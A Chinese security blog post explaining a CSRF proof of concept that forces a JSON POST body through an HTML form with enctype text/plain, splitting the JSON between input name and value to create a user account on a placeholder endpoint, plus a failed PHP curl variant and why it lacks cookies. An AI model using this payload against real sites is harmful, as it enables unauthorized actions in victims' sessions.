CSRF漏洞中以form形式用POST方法提交json数据的POC

本文最后更新于 2019.12.01,总计 3133 字 ,阅读本文大概需要 1 ~ 4 分钟
本文已超过 1768天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

目录

0x01 写在前面

今天遇到的,查了很多资料,发现这种形式的基本上没看到,圈子里某个师傅发了一个国外的链接,

参考了一下,最后成功构造poc。

0x02 POC

form提交post数据很简单,如下:

 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

但是这种方式存在缺陷,如下图:
01.png

始终有个“=”摆脱不了,但是用下面这种方式成功摆脱:

 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":"' value='"}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

02.png

这里的技巧主要在于name和value的值共同构成了json格式的值,利用了双引号的闭合,学到了,以后有很多测试都可以用着这方式测试,所以记下来。

0x03 题外话

本来一开始利用form怎么都构造不成,后来放弃,然后使用php中的curl功能来写:

<?php
$data = array("attributes" => 
      array("name"=> "test2@test.com", 
          "userName" => "测试2",
          "password" => "e10adc3949ba59abbe56e057f20f883e",
          "role" => "user",
          "status" => "enabled",
          "phone" => ""
      ));                                                                      
$data_string = json_encode($data);       
$ch = curl_init('http://xxx.com/db/adds');        
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");                            
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_HTTPHEADER, array(                   
    'Content-Type: application/json',  
    'Content-Length: ' . strlen($data_string))           
);                                                                                                                     
$result = curl_exec($ch);  
echo $data_string;
?>

03.png

抓包处理的时候发现依旧不行,并没有执行CSRF。(并不存在referer和token的前提)

具体原因现在依旧不清楚,于是求租,然后有大师傅解释:

你如果用PHP写CSRF的POC是会失败的。CSRF本质是浏览器发出请求后会自带cookie. PHP是后端语言,
也就是请求不是浏览器发出去的。而后端服务器无法获取当前用户的cookie,
所以发出的POST请求没有cookie,CSRF就成功不了

但是发现有过phpCSRF的案例:PHPCMS后台CSRF加管理两种方法POC

所以有些懵逼。

然后又询问了一下大师傅,终于明白。

我上面的Php代码,POST请求是由php发出的,php代码运行后,返回一个数据页面给浏览器,然后浏览器在呈现给用户,此时由于是后端语言php发出的请求,后端服务器没法获得当前用户的cookie,所以没办法csrf。

而p牛的那个例子,POST请求是由js发出
04.png

也就是浏览器发出,所以可以获得当前用户的cookie。

不得不说,小技巧里面的知识可不小~还需努力啊

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

Panda | 热爱安全的理想少年

本文链接:

https://blog.cnpanda.net/talksafe/116.html(转载时请注明本文出处及文章链接)

暂时无法评论哦~

暂无评论